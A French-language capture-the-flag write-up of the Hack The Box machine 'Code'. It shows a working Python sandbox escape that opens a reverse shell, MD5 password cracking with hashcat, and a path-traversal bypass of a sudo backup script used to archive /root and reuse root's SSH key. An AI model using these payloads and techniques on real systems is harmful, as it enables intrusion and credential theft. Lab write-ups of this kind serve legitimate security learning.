Voici un compte rendu sur la box « Code » de Hack The Box. C’est un challenge classé « Facile » se focalisant sur du scripting Python et Bash.

Accès Initial
On commence par réaliser un scan réseau avec Nmap :
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Le port 5000 est visiblement ouvert sur un serveur Gunicorn, vérifions cela sur le navigateur :

En effet, on tombe sur un interpreteur Python, ce qui veut dire qu’on pourra exécuter du code python. En essayant plusieurs bout de code, on se rend compte que certains mots sont proscrits :
- eval
- exec
- import
- open
- os
- read
- system
- write
- subprocess
Si on utilise ces mots, le script ne sera pas exécuté. Commençons par lister les modules présents :
for nom_module in sys.modules:
print(nom_module)
Il y a quand mêmes quelques biliothèques importantes comme os et sys. Avec cela on a assez d’informations pour fabriquer un script :
g = globals()
sys = g['sys']
mods = sys.modules
for k in list(mods):
m = mods[k]
if hasattr(m, 'find_spec'):
spec = m.find_spec
break
sock = spec('socket').loader.load_module()
pty = spec('pty').loader.load_module()
ozsmod = [m for m in mods.values() if hasattr(m, 'dup2') and hasattr(m, 'exe'+'cv')][0]
s = sock.socket(sock.AF_INET, sock.SOCK_STREAM)
s.settimeout(None)
s.connect(("10.10.10.10", 4444))
fd = s.fileno()
for i in range(3):
ozsmod.dup2(fd, i)
pty.spawn("/bin/sh")
Si un listener est bien lancé sur le port 4444, cliquer sur « Run » devrait fournir un reverseshell.
Premier drapeau : user.txt
Ensuite, on va essayer d’établir une persistence.
Dans le dossier courant de l’application, on repère instance/database.db, si on fait un simple cat on peut récupèrer les deux utilisateurs présents dedans :

Les hashs des mot de passe son simplements chiffrés avec MD5, on va alors utiliser hashcat et un dictionnaire connu pour tenter de les dévoiler :
hashcat -m 0 code.hash /usr/share/wordlists/rockyou.txt
7***************:de************
3***************:na*****************
Grâce au mot de passe trouvé pour Martin, on peut maintenant se connecter avec SSH et récupérer le premier drapeau user.txt.
Élevation de privilèges
On remarque que martin possède un droit sudo :
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
Cela veut dire que martin peut lancer le script backy.sh en tant que root, voyons ce qu’il contient :
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Dans le home de l’utilisateur se trouve aussi un fichier backup/task.json qui semble être lié au script ci dessus :
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
Ce fichier « json » est en réalité utiliser par le script pour définir des options de sauvegardes qui seront passées à /usr/bin/backy. Il subit un peu de processing, notamment il oblige à ce que « directories_to_archive » contiennent « /home/ » ou « /var/ » et il enlève aussi toutes les mentions de « ../ » dans les chemins.
Ces deux « bloquages » n’en sont en fait pas vraiment. Le filtrage de « ../ » faisant qu’une seule passe, on peut simplement utiliser « …/./ ». Voici un exemple permettant de créer une archive de /root :
{
"destination": "/home/martin/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/..././..././root"
]
}
Une archive est alors créée, il ne reste plus qu’a l’extraire :
tar -jxvf code_home_.._.._root_2025_July.tar.bz2

On a maintenant une copie de /root (et du drapeau par ailleurs) !
Second drapeau : root.txt
Dans les fichiers récupérés grâce au script, on voit /root/.ssh/id_rsa, il s’agit d’une clé privée. Si on l’exporte on pourra peut être s’en servir pour se connecter via SSH.
ssh -i id_rsa root@CIBLE

Avec cet accès nous sommes en capacité de faire :
cat root.txt
Conslusion
Trouver une manière de contourner ces filtres (même si il y en a peu) quand on touche pas quotidiennement du python, c’est très chronophage ! Quand au vecteur de PE, il etait très basique et faisait contraste avec l’accès initial.